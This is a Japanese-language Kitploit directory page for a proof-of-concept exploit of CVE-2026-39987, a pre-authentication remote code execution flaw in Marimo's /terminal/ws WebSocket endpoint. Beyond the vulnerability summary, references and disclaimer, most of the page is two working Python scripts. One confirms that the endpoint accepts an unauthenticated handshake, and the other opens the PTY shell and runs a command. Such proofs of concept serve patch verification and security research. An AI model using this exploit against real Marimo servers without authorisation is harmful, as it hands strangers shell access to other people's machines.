Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39987 — MarimoのWebSocketエンドポイントを介した事前認証リモートコード実行の概念実証エクスプロイトであり、認証されていない攻撃者が対話型PTYシェルを取得することを可能にします。 | Kitploit
ツール/GitHubGitHub/h3raklez/cve-2026-39987
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

MarimoのWebSocketエンドポイントを介した事前認証リモートコード実行の概念実証エクスプロイトであり、認証されていない攻撃者が対話型PTYシェルを取得することを可能にします。

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39987 — Marimo 事前認証RCE

教育および許可されたセキュリティ研究目的のみに使用してください。

説明

Marimo <= 0.20.4 における事前認証リモートコード実行。
WebSocket エンドポイント /terminal/ws は認証検証をスキップするため、認証されていない攻撃者が単一の接続で完全な対話型 PTY シェルを取得できます。

  • CVSS v4.0: 9.3 (Critical)
  • CWE: CWE-306 (重要な機能に対する認証の欠如)
  • 影響を受けるバージョン: <= 0.20.4
  • 修正済みバージョン: 0.23.0

要件

  • Python 3
  • websockets (pip install websockets)
  • ターゲットのポート 2718 へのネットワークアクセス

エンドポイント検証

エンドポイントが資格情報なしで接続を受け入れることを確認します:

root@kitploit:~
import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

期待される結果: HTTP/1.1 101 Switching Protocols


エクスプロイト

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Connection established without authentication")
        await asyncio.sleep(0.3)

        # Read initial PTY banner
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Send command
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Read frames until timeout
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE output]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

参考情報

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

免責事項

このツールは教育目的および許可されたセキュリティテストのみを目的として提供されています。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対する不正使用は違法です。作者は誤用について一切の責任を負いません。

ツールをダウンロード